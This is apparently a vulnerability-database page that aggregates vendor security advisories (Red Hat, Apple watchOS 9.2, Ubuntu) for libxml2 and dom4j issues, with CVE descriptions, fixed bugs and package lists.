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370 vulnerabilities found for snapmanager by netapp
VAR-202210-1070
Vulnerability from variot - Updated: 2026-04-10 23:25An issue was discovered in libxml2 before 2.10.3. Certain invalid XML entity definitions can corrupt a hash table key, potentially leading to subsequent logic errors. In one case, a double-free can be provoked. It is written in C language and can be called by many languages, such as C language, C++, XSH. Currently there is no information about this vulnerability, please keep an eye on CNNVD or vendor announcements. Summary:
OpenShift API for Data Protection (OADP) 1.1.2 is now available. Description:
OpenShift API for Data Protection (OADP) enables you to back up and restore application resources, persistent volume data, and internal container images to external backup storage. OADP enables both file system-based and snapshot-based backups for persistent volumes. Solution:
Before applying this update, make sure all previously released errata relevant to your system have been applied. Bugs fixed (https://bugzilla.redhat.com/):
2132867 - CVE-2022-2879 golang: archive/tar: unbounded memory consumption when reading headers 2132868 - CVE-2022-2880 golang: net/http/httputil: ReverseProxy should not forward unparseable query parameters 2132872 - CVE-2022-41715 golang: regexp/syntax: limit memory used by parsing regexps 2161274 - CVE-2022-41717 golang: net/http: An attacker can cause excessive memory growth in a Go server accepting HTTP/2 requests
- JIRA issues fixed (https://issues.jboss.org/):
OADP-1056 - DPA fails validation if multiple BSLs have the same provider OADP-1150 - Handle docker env config changes in the oadp-operator OADP-1217 - update velero + restic to 1.9.5 OADP-1256 - Backup stays in progress status after restic pod is restarted due to OOM killed OADP-1289 - Restore partially fails with error "Secrets \"deployer-token-rrjqx\" not found" OADP-290 - Remove creation/usage of velero-privileged SCC
- Description:
Red Hat Openshift GitOps is a declarative way to implement continuous deployment for cloud native applications. Bugs fixed (https://bugzilla.redhat.com/):
2160492 - CVE-2023-22482 ArgoCD: JWT audience claim is not verified 2162517 - CVE-2023-22736 argocd: Controller reconciles apps outside configured namespaces when sharding is enabled
- -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256
====================================================================
Red Hat Security Advisory
Synopsis: Moderate: libxml2 security update Advisory ID: RHSA-2023:0338-01 Product: Red Hat Enterprise Linux Advisory URL: https://access.redhat.com/errata/RHSA-2023:0338 Issue date: 2023-01-23 CVE Names: CVE-2022-40303 CVE-2022-40304 ==================================================================== 1. Summary:
An update for libxml2 is now available for Red Hat Enterprise Linux 9.
Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.
- Relevant releases/architectures:
Red Hat Enterprise Linux AppStream (v. 9) - aarch64, ppc64le, s390x, x86_64 Red Hat Enterprise Linux BaseOS (v. 9) - aarch64, ppc64le, s390x, x86_64
- Description:
The libxml2 library is a development toolbox providing the implementation of various XML standards.
Security Fix(es):
-
libxml2: integer overflows with XML_PARSE_HUGE (CVE-2022-40303)
-
libxml2: dict corruption caused by entity reference cycles (CVE-2022-40304)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
- Solution:
For details on how to apply this update, which includes the changes described in this advisory, refer to:
https://access.redhat.com/articles/11258
The desktop must be restarted (log out, then log back in) for this update to take effect.
- Bugs fixed (https://bugzilla.redhat.com/):
2136266 - CVE-2022-40303 libxml2: integer overflows with XML_PARSE_HUGE 2136288 - CVE-2022-40304 libxml2: dict corruption caused by entity reference cycles
- Package List:
Red Hat Enterprise Linux AppStream (v. 9):
aarch64: libxml2-debuginfo-2.9.13-3.el9_1.aarch64.rpm libxml2-debugsource-2.9.13-3.el9_1.aarch64.rpm libxml2-devel-2.9.13-3.el9_1.aarch64.rpm python3-libxml2-debuginfo-2.9.13-3.el9_1.aarch64.rpm
ppc64le: libxml2-debuginfo-2.9.13-3.el9_1.ppc64le.rpm libxml2-debugsource-2.9.13-3.el9_1.ppc64le.rpm libxml2-devel-2.9.13-3.el9_1.ppc64le.rpm python3-libxml2-debuginfo-2.9.13-3.el9_1.ppc64le.rpm
s390x: libxml2-debuginfo-2.9.13-3.el9_1.s390x.rpm libxml2-debugsource-2.9.13-3.el9_1.s390x.rpm libxml2-devel-2.9.13-3.el9_1.s390x.rpm python3-libxml2-debuginfo-2.9.13-3.el9_1.s390x.rpm
x86_64: libxml2-debuginfo-2.9.13-3.el9_1.i686.rpm libxml2-debuginfo-2.9.13-3.el9_1.x86_64.rpm libxml2-debugsource-2.9.13-3.el9_1.i686.rpm libxml2-debugsource-2.9.13-3.el9_1.x86_64.rpm libxml2-devel-2.9.13-3.el9_1.i686.rpm libxml2-devel-2.9.13-3.el9_1.x86_64.rpm python3-libxml2-debuginfo-2.9.13-3.el9_1.i686.rpm python3-libxml2-debuginfo-2.9.13-3.el9_1.x86_64.rpm
Red Hat Enterprise Linux BaseOS (v. 9):
Source: libxml2-2.9.13-3.el9_1.src.rpm
aarch64: libxml2-2.9.13-3.el9_1.aarch64.rpm libxml2-debuginfo-2.9.13-3.el9_1.aarch64.rpm libxml2-debugsource-2.9.13-3.el9_1.aarch64.rpm python3-libxml2-2.9.13-3.el9_1.aarch64.rpm python3-libxml2-debuginfo-2.9.13-3.el9_1.aarch64.rpm
ppc64le: libxml2-2.9.13-3.el9_1.ppc64le.rpm libxml2-debuginfo-2.9.13-3.el9_1.ppc64le.rpm libxml2-debugsource-2.9.13-3.el9_1.ppc64le.rpm python3-libxml2-2.9.13-3.el9_1.ppc64le.rpm python3-libxml2-debuginfo-2.9.13-3.el9_1.ppc64le.rpm
s390x: libxml2-2.9.13-3.el9_1.s390x.rpm libxml2-debuginfo-2.9.13-3.el9_1.s390x.rpm libxml2-debugsource-2.9.13-3.el9_1.s390x.rpm python3-libxml2-2.9.13-3.el9_1.s390x.rpm python3-libxml2-debuginfo-2.9.13-3.el9_1.s390x.rpm
x86_64: libxml2-2.9.13-3.el9_1.i686.rpm libxml2-2.9.13-3.el9_1.x86_64.rpm libxml2-debuginfo-2.9.13-3.el9_1.i686.rpm libxml2-debuginfo-2.9.13-3.el9_1.x86_64.rpm libxml2-debugsource-2.9.13-3.el9_1.i686.rpm libxml2-debugsource-2.9.13-3.el9_1.x86_64.rpm python3-libxml2-2.9.13-3.el9_1.x86_64.rpm python3-libxml2-debuginfo-2.9.13-3.el9_1.i686.rpm python3-libxml2-debuginfo-2.9.13-3.el9_1.x86_64.rpm
These packages are GPG signed by Red Hat for security. Our key and details on how to verify the signature are available from https://access.redhat.com/security/team/key/
- References:
https://access.redhat.com/security/cve/CVE-2022-40303 https://access.redhat.com/security/cve/CVE-2022-40304 https://access.redhat.com/security/updates/classification/#moderate
- Contact:
The Red Hat security contact is secalert@redhat.com. More contact details at https://access.redhat.com/security/team/contact/
Copyright 2023 Red Hat, Inc. Bugs fixed (https://bugzilla.redhat.com/):
2171870 - CVE-2023-0923 odh-notebook-controller-container: Missing authorization allows for file contents disclosure
- JIRA issues fixed (https://issues.jboss.org/):
RHODS-6123 - Update dsp repo to match upstream kfp-tekton repo RHODS-6136 - Verify status of manifests RHODS-6330 - Remove Openvino and Etcd images from quay for self-managed deployments RHODS-6779 - [Model Serving] fallback image for ovms is not published, leading to image pull errors in upgrade scenarios
- -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256
APPLE-SA-2022-12-13-8 watchOS 9.2
watchOS 9.2 addresses the following issues. Information about the security content is also available at https://support.apple.com/HT213536.
Accounts Available for: Apple Watch Series 4 and later Impact: A user may be able to view sensitive user information Description: This issue was addressed with improved data protection. CVE-2022-42843: Mickey Jin (@patch1t)
AppleAVD Available for: Apple Watch Series 4 and later Impact: Parsing a maliciously crafted video file may lead to kernel code execution Description: An out-of-bounds write issue was addressed with improved input validation. CVE-2022-46694: Andrey Labunets and Nikita Tarakanov
AppleMobileFileIntegrity Available for: Apple Watch Series 4 and later Impact: An app may be able to bypass Privacy preferences Description: This issue was addressed by enabling hardened runtime. CVE-2022-42865: Wojciech Reguła (@_r3ggi) of SecuRing
CoreServices Available for: Apple Watch Series 4 and later Impact: An app may be able to bypass Privacy preferences Description: Multiple issues were addressed by removing the vulnerable code. CVE-2022-42859: Mickey Jin (@patch1t), Csaba Fitzl (@theevilbit) of Offensive Security
ImageIO Available for: Apple Watch Series 4 and later Impact: Processing a maliciously crafted file may lead to arbitrary code execution Description: An out-of-bounds write issue was addressed with improved input validation. CVE-2022-46693: Mickey Jin (@patch1t)
IOHIDFamily Available for: Apple Watch Series 4 and later Impact: An app may be able to execute arbitrary code with kernel privileges Description: A race condition was addressed with improved state handling. CVE-2022-42864: Tommy Muir (@Muirey03)
IOMobileFrameBuffer Available for: Apple Watch Series 4 and later Impact: An app may be able to execute arbitrary code with kernel privileges Description: An out-of-bounds write issue was addressed with improved input validation. CVE-2022-46690: John Aakerblom (@jaakerblom)
iTunes Store Available for: Apple Watch Series 4 and later Impact: A remote user may be able to cause unexpected app termination or arbitrary code execution Description: An issue existed in the parsing of URLs. This issue was addressed with improved input validation. CVE-2022-42837: an anonymous researcher
Kernel Available for: Apple Watch Series 4 and later Impact: An app may be able to execute arbitrary code with kernel privileges Description: A race condition was addressed with additional validation. CVE-2022-46689: Ian Beer of Google Project Zero
Kernel Available for: Apple Watch Series 4 and later Impact: A remote user may be able to cause kernel code execution Description: The issue was addressed with improved memory handling. CVE-2022-42842: pattern-f (@pattern_F_) of Ant Security Light-Year Lab
Kernel Available for: Apple Watch Series 4 and later Impact: An app with root privileges may be able to execute arbitrary code with kernel privileges Description: The issue was addressed with improved memory handling. CVE-2022-42845: Adam Doupé of ASU SEFCOM
libxml2 Available for: Apple Watch Series 4 and later Impact: A remote user may be able to cause unexpected app termination or arbitrary code execution Description: An integer overflow was addressed through improved input validation. CVE-2022-40303: Maddie Stone of Google Project Zero
libxml2 Available for: Apple Watch Series 4 and later Impact: A remote user may be able to cause unexpected app termination or arbitrary code execution Description: This issue was addressed with improved checks. CVE-2022-40304: Ned Williamson and Nathan Wachholz of Google Project Zero
Safari Available for: Apple Watch Series 4 and later Impact: Visiting a website that frames malicious content may lead to UI spoofing Description: A spoofing issue existed in the handling of URLs. This issue was addressed with improved input validation. CVE-2022-46695: KirtiKumar Anandrao Ramchandani
Software Update Available for: Apple Watch Series 4 and later Impact: A user may be able to elevate privileges Description: An access issue existed with privileged API calls. This issue was addressed with additional restrictions. CVE-2022-42849: Mickey Jin (@patch1t)
Weather Available for: Apple Watch Series 4 and later Impact: An app may be able to read sensitive location information Description: The issue was addressed with improved handling of caches. CVE-2022-42866: an anonymous researcher
WebKit Available for: Apple Watch Series 4 and later Impact: Processing maliciously crafted web content may lead to arbitrary code execution Description: A use after free issue was addressed with improved memory management. WebKit Bugzilla: 245521 CVE-2022-42867: Maddie Stone of Google Project Zero
WebKit Available for: Apple Watch Series 4 and later Impact: Processing maliciously crafted web content may lead to arbitrary code execution Description: A memory consumption issue was addressed with improved memory handling. WebKit Bugzilla: 245466 CVE-2022-46691: an anonymous researcher
WebKit Available for: Apple Watch Series 4 and later Impact: Processing maliciously crafted web content may bypass Same Origin Policy Description: A logic issue was addressed with improved state management. WebKit Bugzilla: 246783 CVE-2022-46692: KirtiKumar Anandrao Ramchandani
WebKit Available for: Apple Watch Series 4 and later Impact: Processing maliciously crafted web content may result in the disclosure of process memory Description: The issue was addressed with improved memory handling. CVE-2022-42852: hazbinhotel working with Trend Micro Zero Day Initiative
WebKit Available for: Apple Watch Series 4 and later Impact: Processing maliciously crafted web content may lead to arbitrary code execution Description: A memory corruption issue was addressed with improved input validation. WebKit Bugzilla: 246942 CVE-2022-46696: Samuel Groß of Google V8 Security WebKit Bugzilla: 247562 CVE-2022-46700: Samuel Groß of Google V8 Security
WebKit Available for: Apple Watch Series 4 and later Impact: Processing maliciously crafted web content may disclose sensitive user information Description: A logic issue was addressed with improved checks. CVE-2022-46698: Dohyun Lee (@l33d0hyun) of SSD Secure Disclosure Labs & DNSLab, Korea Univ.
WebKit Available for: Apple Watch Series 4 and later Impact: Processing maliciously crafted web content may lead to arbitrary code execution Description: A memory corruption issue was addressed with improved state management. WebKit Bugzilla: 247420 CVE-2022-46699: Samuel Groß of Google V8 Security WebKit Bugzilla: 244622 CVE-2022-42863: an anonymous researcher
Additional recognition
Kernel We would like to acknowledge Zweig of Kunlun Lab for their assistance.
Safari Extensions We would like to acknowledge Oliver Dunk and Christian R. of 1Password for their assistance.
WebKit We would like to acknowledge an anonymous researcher and scarlet for their assistance.
Instructions on how to update your Apple Watch software are available at https://support.apple.com/kb/HT204641 To check the version on your Apple Watch, open the Apple Watch app on your iPhone and select "My Watch > General > About". Alternatively, on your watch, select "My Watch > General > About". All information is also posted on the Apple Security Updates web site: https://support.apple.com/en-us/HT201222.
This message is signed with Apple's Product Security PGP key, and details are available at: https://www.apple.com/support/security/pgp/ -----BEGIN PGP SIGNATURE-----
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Show details on source website{
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"data": "An issue was discovered in libxml2 before 2.10.3. Certain invalid XML entity definitions can corrupt a hash table key, potentially leading to subsequent logic errors. In one case, a double-free can be provoked. It is written in C language and can be called by many languages, such as C language, C++, XSH. Currently there is no information about this vulnerability, please keep an eye on CNNVD or vendor announcements. Summary:\n\nOpenShift API for Data Protection (OADP) 1.1.2 is now available. Description:\n\nOpenShift API for Data Protection (OADP) enables you to back up and restore\napplication resources, persistent volume data, and internal container\nimages to external backup storage. OADP enables both file system-based and\nsnapshot-based backups for persistent volumes. Solution:\n\nBefore applying this update, make sure all previously released errata\nrelevant to your system have been applied. Bugs fixed (https://bugzilla.redhat.com/):\n\n2132867 - CVE-2022-2879 golang: archive/tar: unbounded memory consumption when reading headers\n2132868 - CVE-2022-2880 golang: net/http/httputil: ReverseProxy should not forward unparseable query parameters\n2132872 - CVE-2022-41715 golang: regexp/syntax: limit memory used by parsing regexps\n2161274 - CVE-2022-41717 golang: net/http: An attacker can cause excessive memory growth in a Go server accepting HTTP/2 requests\n\n5. JIRA issues fixed (https://issues.jboss.org/):\n\nOADP-1056 - DPA fails validation if multiple BSLs have the same provider\nOADP-1150 - Handle docker env config changes in the oadp-operator\nOADP-1217 - update velero + restic to 1.9.5\nOADP-1256 - Backup stays in progress status after restic pod is restarted due to OOM killed\nOADP-1289 - Restore partially fails with error \"Secrets \\\"deployer-token-rrjqx\\\" not found\"\nOADP-290 - Remove creation/usage of velero-privileged SCC\n\n6. Description:\n\nRed Hat Openshift GitOps is a declarative way to implement continuous\ndeployment for cloud native applications. Bugs fixed (https://bugzilla.redhat.com/):\n\n2160492 - CVE-2023-22482 ArgoCD: JWT audience claim is not verified\n2162517 - CVE-2023-22736 argocd: Controller reconciles apps outside configured namespaces when sharding is enabled\n\n5. -----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA256\n\n==================================================================== \nRed Hat Security Advisory\n\nSynopsis: Moderate: libxml2 security update\nAdvisory ID: RHSA-2023:0338-01\nProduct: Red Hat Enterprise Linux\nAdvisory URL: https://access.redhat.com/errata/RHSA-2023:0338\nIssue date: 2023-01-23\nCVE Names: CVE-2022-40303 CVE-2022-40304\n====================================================================\n1. Summary:\n\nAn update for libxml2 is now available for Red Hat Enterprise Linux 9. \n\nRed Hat Product Security has rated this update as having a security impact\nof Moderate. A Common Vulnerability Scoring System (CVSS) base score, which\ngives a detailed severity rating, is available for each vulnerability from\nthe CVE link(s) in the References section. \n\n2. Relevant releases/architectures:\n\nRed Hat Enterprise Linux AppStream (v. 9) - aarch64, ppc64le, s390x, x86_64\nRed Hat Enterprise Linux BaseOS (v. 9) - aarch64, ppc64le, s390x, x86_64\n\n3. Description:\n\nThe libxml2 library is a development toolbox providing the implementation\nof various XML standards. \n\nSecurity Fix(es):\n\n* libxml2: integer overflows with XML_PARSE_HUGE (CVE-2022-40303)\n\n* libxml2: dict corruption caused by entity reference cycles\n(CVE-2022-40304)\n\nFor more details about the security issue(s), including the impact, a CVSS\nscore, acknowledgments, and other related information, refer to the CVE\npage(s) listed in the References section. \n\n4. Solution:\n\nFor details on how to apply this update, which includes the changes\ndescribed in this advisory, refer to:\n\nhttps://access.redhat.com/articles/11258\n\nThe desktop must be restarted (log out, then log back in) for this update\nto take effect. \n\n5. Bugs fixed (https://bugzilla.redhat.com/):\n\n2136266 - CVE-2022-40303 libxml2: integer overflows with XML_PARSE_HUGE\n2136288 - CVE-2022-40304 libxml2: dict corruption caused by entity reference cycles\n\n6. Package List:\n\nRed Hat Enterprise Linux AppStream (v. 9):\n\naarch64:\nlibxml2-debuginfo-2.9.13-3.el9_1.aarch64.rpm\nlibxml2-debugsource-2.9.13-3.el9_1.aarch64.rpm\nlibxml2-devel-2.9.13-3.el9_1.aarch64.rpm\npython3-libxml2-debuginfo-2.9.13-3.el9_1.aarch64.rpm\n\nppc64le:\nlibxml2-debuginfo-2.9.13-3.el9_1.ppc64le.rpm\nlibxml2-debugsource-2.9.13-3.el9_1.ppc64le.rpm\nlibxml2-devel-2.9.13-3.el9_1.ppc64le.rpm\npython3-libxml2-debuginfo-2.9.13-3.el9_1.ppc64le.rpm\n\ns390x:\nlibxml2-debuginfo-2.9.13-3.el9_1.s390x.rpm\nlibxml2-debugsource-2.9.13-3.el9_1.s390x.rpm\nlibxml2-devel-2.9.13-3.el9_1.s390x.rpm\npython3-libxml2-debuginfo-2.9.13-3.el9_1.s390x.rpm\n\nx86_64:\nlibxml2-debuginfo-2.9.13-3.el9_1.i686.rpm\nlibxml2-debuginfo-2.9.13-3.el9_1.x86_64.rpm\nlibxml2-debugsource-2.9.13-3.el9_1.i686.rpm\nlibxml2-debugsource-2.9.13-3.el9_1.x86_64.rpm\nlibxml2-devel-2.9.13-3.el9_1.i686.rpm\nlibxml2-devel-2.9.13-3.el9_1.x86_64.rpm\npython3-libxml2-debuginfo-2.9.13-3.el9_1.i686.rpm\npython3-libxml2-debuginfo-2.9.13-3.el9_1.x86_64.rpm\n\nRed Hat Enterprise Linux BaseOS (v. 9):\n\nSource:\nlibxml2-2.9.13-3.el9_1.src.rpm\n\naarch64:\nlibxml2-2.9.13-3.el9_1.aarch64.rpm\nlibxml2-debuginfo-2.9.13-3.el9_1.aarch64.rpm\nlibxml2-debugsource-2.9.13-3.el9_1.aarch64.rpm\npython3-libxml2-2.9.13-3.el9_1.aarch64.rpm\npython3-libxml2-debuginfo-2.9.13-3.el9_1.aarch64.rpm\n\nppc64le:\nlibxml2-2.9.13-3.el9_1.ppc64le.rpm\nlibxml2-debuginfo-2.9.13-3.el9_1.ppc64le.rpm\nlibxml2-debugsource-2.9.13-3.el9_1.ppc64le.rpm\npython3-libxml2-2.9.13-3.el9_1.ppc64le.rpm\npython3-libxml2-debuginfo-2.9.13-3.el9_1.ppc64le.rpm\n\ns390x:\nlibxml2-2.9.13-3.el9_1.s390x.rpm\nlibxml2-debuginfo-2.9.13-3.el9_1.s390x.rpm\nlibxml2-debugsource-2.9.13-3.el9_1.s390x.rpm\npython3-libxml2-2.9.13-3.el9_1.s390x.rpm\npython3-libxml2-debuginfo-2.9.13-3.el9_1.s390x.rpm\n\nx86_64:\nlibxml2-2.9.13-3.el9_1.i686.rpm\nlibxml2-2.9.13-3.el9_1.x86_64.rpm\nlibxml2-debuginfo-2.9.13-3.el9_1.i686.rpm\nlibxml2-debuginfo-2.9.13-3.el9_1.x86_64.rpm\nlibxml2-debugsource-2.9.13-3.el9_1.i686.rpm\nlibxml2-debugsource-2.9.13-3.el9_1.x86_64.rpm\npython3-libxml2-2.9.13-3.el9_1.x86_64.rpm\npython3-libxml2-debuginfo-2.9.13-3.el9_1.i686.rpm\npython3-libxml2-debuginfo-2.9.13-3.el9_1.x86_64.rpm\n\nThese packages are GPG signed by Red Hat for security. Our key and\ndetails on how to verify the signature are available from\nhttps://access.redhat.com/security/team/key/\n\n7. References:\n\nhttps://access.redhat.com/security/cve/CVE-2022-40303\nhttps://access.redhat.com/security/cve/CVE-2022-40304\nhttps://access.redhat.com/security/updates/classification/#moderate\n\n8. Contact:\n\nThe Red Hat security contact is \u003csecalert@redhat.com\u003e. More contact\ndetails at https://access.redhat.com/security/team/contact/\n\nCopyright 2023 Red Hat, Inc. Bugs fixed (https://bugzilla.redhat.com/):\n\n2171870 - CVE-2023-0923 odh-notebook-controller-container: Missing authorization allows for file contents disclosure\n\n5. JIRA issues fixed (https://issues.jboss.org/):\n\nRHODS-6123 - Update dsp repo to match upstream kfp-tekton repo\nRHODS-6136 - Verify status of manifests\nRHODS-6330 - Remove Openvino and Etcd images from quay for self-managed deployments\nRHODS-6779 - [Model Serving] fallback image for ovms is not published, leading to image pull errors in upgrade scenarios\n\n6. -----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA256\n\nAPPLE-SA-2022-12-13-8 watchOS 9.2\n\nwatchOS 9.2 addresses the following issues. \nInformation about the security content is also available at\nhttps://support.apple.com/HT213536. \n\nAccounts\nAvailable for: Apple Watch Series 4 and later\nImpact: A user may be able to view sensitive user information\nDescription: This issue was addressed with improved data protection. \nCVE-2022-42843: Mickey Jin (@patch1t)\n\nAppleAVD\nAvailable for: Apple Watch Series 4 and later\nImpact: Parsing a maliciously crafted video file may lead to kernel\ncode execution\nDescription: An out-of-bounds write issue was addressed with improved\ninput validation. \nCVE-2022-46694: Andrey Labunets and Nikita Tarakanov\n\nAppleMobileFileIntegrity\nAvailable for: Apple Watch Series 4 and later\nImpact: An app may be able to bypass Privacy preferences\nDescription: This issue was addressed by enabling hardened runtime. \nCVE-2022-42865: Wojciech Regu\u0142a (@_r3ggi) of SecuRing\n\nCoreServices\nAvailable for: Apple Watch Series 4 and later\nImpact: An app may be able to bypass Privacy preferences\nDescription: Multiple issues were addressed by removing the\nvulnerable code. \nCVE-2022-42859: Mickey Jin (@patch1t), Csaba Fitzl (@theevilbit) of\nOffensive Security\n\nImageIO\nAvailable for: Apple Watch Series 4 and later\nImpact: Processing a maliciously crafted file may lead to arbitrary\ncode execution\nDescription: An out-of-bounds write issue was addressed with improved\ninput validation. \nCVE-2022-46693: Mickey Jin (@patch1t)\n\nIOHIDFamily\nAvailable for: Apple Watch Series 4 and later\nImpact: An app may be able to execute arbitrary code with kernel\nprivileges\nDescription: A race condition was addressed with improved state\nhandling. \nCVE-2022-42864: Tommy Muir (@Muirey03)\n\nIOMobileFrameBuffer\nAvailable for: Apple Watch Series 4 and later\nImpact: An app may be able to execute arbitrary code with kernel\nprivileges\nDescription: An out-of-bounds write issue was addressed with improved\ninput validation. \nCVE-2022-46690: John Aakerblom (@jaakerblom)\n\niTunes Store\nAvailable for: Apple Watch Series 4 and later\nImpact: A remote user may be able to cause unexpected app termination\nor arbitrary code execution\nDescription: An issue existed in the parsing of URLs. This issue was\naddressed with improved input validation. \nCVE-2022-42837: an anonymous researcher\n\nKernel\nAvailable for: Apple Watch Series 4 and later\nImpact: An app may be able to execute arbitrary code with kernel\nprivileges\nDescription: A race condition was addressed with additional\nvalidation. \nCVE-2022-46689: Ian Beer of Google Project Zero\n\nKernel\nAvailable for: Apple Watch Series 4 and later\nImpact: A remote user may be able to cause kernel code execution\nDescription: The issue was addressed with improved memory handling. \nCVE-2022-42842: pattern-f (@pattern_F_) of Ant Security Light-Year\nLab\n\nKernel\nAvailable for: Apple Watch Series 4 and later\nImpact: An app with root privileges may be able to execute arbitrary\ncode with kernel privileges\nDescription: The issue was addressed with improved memory handling. \nCVE-2022-42845: Adam Doup\u00e9 of ASU SEFCOM\n\nlibxml2\nAvailable for: Apple Watch Series 4 and later\nImpact: A remote user may be able to cause unexpected app termination\nor arbitrary code execution\nDescription: An integer overflow was addressed through improved input\nvalidation. \nCVE-2022-40303: Maddie Stone of Google Project Zero\n\nlibxml2\nAvailable for: Apple Watch Series 4 and later\nImpact: A remote user may be able to cause unexpected app termination\nor arbitrary code execution\nDescription: This issue was addressed with improved checks. \nCVE-2022-40304: Ned Williamson and Nathan Wachholz of Google Project\nZero\n\nSafari\nAvailable for: Apple Watch Series 4 and later\nImpact: Visiting a website that frames malicious content may lead to\nUI spoofing\nDescription: A spoofing issue existed in the handling of URLs. This\nissue was addressed with improved input validation. \nCVE-2022-46695: KirtiKumar Anandrao Ramchandani\n\nSoftware Update\nAvailable for: Apple Watch Series 4 and later\nImpact: A user may be able to elevate privileges\nDescription: An access issue existed with privileged API calls. This\nissue was addressed with additional restrictions. \nCVE-2022-42849: Mickey Jin (@patch1t)\n\nWeather\nAvailable for: Apple Watch Series 4 and later\nImpact: An app may be able to read sensitive location information\nDescription: The issue was addressed with improved handling of\ncaches. \nCVE-2022-42866: an anonymous researcher\n\nWebKit\nAvailable for: Apple Watch Series 4 and later\nImpact: Processing maliciously crafted web content may lead to\narbitrary code execution\nDescription: A use after free issue was addressed with improved\nmemory management. \nWebKit Bugzilla: 245521\nCVE-2022-42867: Maddie Stone of Google Project Zero\n\nWebKit\nAvailable for: Apple Watch Series 4 and later\nImpact: Processing maliciously crafted web content may lead to\narbitrary code execution\nDescription: A memory consumption issue was addressed with improved\nmemory handling. \nWebKit Bugzilla: 245466\nCVE-2022-46691: an anonymous researcher\n\nWebKit\nAvailable for: Apple Watch Series 4 and later\nImpact: Processing maliciously crafted web content may bypass Same\nOrigin Policy\nDescription: A logic issue was addressed with improved state\nmanagement. \nWebKit Bugzilla: 246783\nCVE-2022-46692: KirtiKumar Anandrao Ramchandani\n\nWebKit\nAvailable for: Apple Watch Series 4 and later\nImpact: Processing maliciously crafted web content may result in the\ndisclosure of process memory\nDescription: The issue was addressed with improved memory handling. \nCVE-2022-42852: hazbinhotel working with Trend Micro Zero Day\nInitiative\n\nWebKit\nAvailable for: Apple Watch Series 4 and later\nImpact: Processing maliciously crafted web content may lead to\narbitrary code execution\nDescription: A memory corruption issue was addressed with improved\ninput validation. \nWebKit Bugzilla: 246942\nCVE-2022-46696: Samuel Gro\u00df of Google V8 Security\nWebKit Bugzilla: 247562\nCVE-2022-46700: Samuel Gro\u00df of Google V8 Security\n\nWebKit\nAvailable for: Apple Watch Series 4 and later\nImpact: Processing maliciously crafted web content may disclose\nsensitive user information\nDescription: A logic issue was addressed with improved checks. \nCVE-2022-46698: Dohyun Lee (@l33d0hyun) of SSD Secure Disclosure Labs\n\u0026 DNSLab, Korea Univ. \n\nWebKit\nAvailable for: Apple Watch Series 4 and later\nImpact: Processing maliciously crafted web content may lead to\narbitrary code execution\nDescription: A memory corruption issue was addressed with improved\nstate management. \nWebKit Bugzilla: 247420\nCVE-2022-46699: Samuel Gro\u00df of Google V8 Security\nWebKit Bugzilla: 244622\nCVE-2022-42863: an anonymous researcher\n\nAdditional recognition\n\nKernel\nWe would like to acknowledge Zweig of Kunlun Lab for their\nassistance. \n\nSafari Extensions\nWe would like to acknowledge Oliver Dunk and Christian R. of\n1Password for their assistance. \n\nWebKit\nWe would like to acknowledge an anonymous researcher and scarlet for\ntheir assistance. \n\nInstructions on how to update your Apple Watch software are available\nat https://support.apple.com/kb/HT204641 To check the version on\nyour Apple Watch, open the Apple Watch app on your iPhone and select\n\"My Watch \u003e General \u003e About\". Alternatively, on your watch, select\n\"My Watch \u003e General \u003e About\". \nAll information is also posted on the Apple Security Updates\nweb site: https://support.apple.com/en-us/HT201222. \n\nThis message is signed with Apple\u0027s Product Security PGP key,\nand details are available at:\nhttps://www.apple.com/support/security/pgp/\n-----BEGIN PGP SIGNATURE-----\n\niQIzBAEBCAAdFiEEBP+4DupqR5Sgt1DB4RjMIDkeNxkFAmOZFX4ACgkQ4RjMIDke\nNxlyKA//eeU/txeqNxHM7JQE6xFrlla1tinQYMjbLhMgzdTbKpPjX8aHVqFfLB/Q\n5nH+NqrGs4HQwNQJ6fSiBIId0th71mgX7W3Noa1apzFh7Okl6IehczkAFB9OH7ve\nvnwiEECGU0hUNmbIi0s9HuuBo6eSNPFsJt0Jqn8ovV+F9bc+ftl/IRv6q2vg3rl3\nDNag62BCmCN4uXmqoJ4CKg7cNbddvma0bDbB1yYujxdmFwm4JGN6aittXE3WtPK2\nGH2/UxdZll8FR7Zegh1ziUcTaLR4dwHlXRFgc6WC8hqx6T8imNh1heAPwzhT+Iag\npiObDoMs7UYFKF/eQ8LUcl4hX8IOdLFO5I+BcvCzOcKqHutPqbE8QRU9yqjcQlsJ\nsOV7GT9W9J+QhibpIJbLVkkQp5djPZ8mLP0OKiRN1quEDWMrquPdM+r9ftJwEIki\nPLL/ur9c7geXCJCLzglMSMkNcoGZk77qzfJuPdoE0lD6zjdvBHalF5j8S0a1+9gi\nex3zU1I+ixqg7CvLNfkSjLcO9KOoPEFHnqEFrrO17QWWyraugrPgV0dMYArGRBpA\nFofYP6bXLv8eSUNuyOoQxF6kS4ChYgLUabl2NYqop9LoRWAtDAclTiabuvDJPfqA\nW09wxdhbpp2saxt8LlQjffzOmHJST6oHhHZiFiFswRM0q0nue6I=\n=DltD\n-----END PGP SIGNATURE-----\n\n\n",
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{
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VAR-202005-1054
Vulnerability from variot - Updated: 2026-04-10 23:18dom4j before 2.0.3 and 2.1.x before 2.1.3 allows external DTDs and External Entities by default, which might enable XXE attacks. However, there is popular external documentation from OWASP showing how to enable the safe, non-default behavior in any application that uses dom4j. dom4j To XML There is a vulnerability in an external entity.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be put into a state. dom4j is an open source framework for processing XML. A code issue vulnerability exists in dom4j versions prior to 2.0.3 and 2.1.x versions prior to 2.1.3. This vulnerability stems from improper design or implementation problems in the code development process of network systems or products. ========================================================================== Ubuntu Security Notice USN-4575-1 October 13, 2020
dom4j vulnerability
A security issue affects these releases of Ubuntu and its derivatives:
- Ubuntu 16.04 LTS
Summary:
dom4j could be made to expose sensitive information or run programs if it received specially crafted input.
Software Description: - dom4j: Flexible XML framework for Java
Details:
It was discovered that dom4j incorrectly handled reading XML data. A remote attacker could exploit this with a crafted XML file to expose sensitive data or possibly execute arbitrary code. (CVE-2020-10683)
Update instructions:
The problem can be corrected by updating your system to the following package versions:
Ubuntu 16.04 LTS: libdom4j-java 1.6.1+dfsg.3-2ubuntu1.1
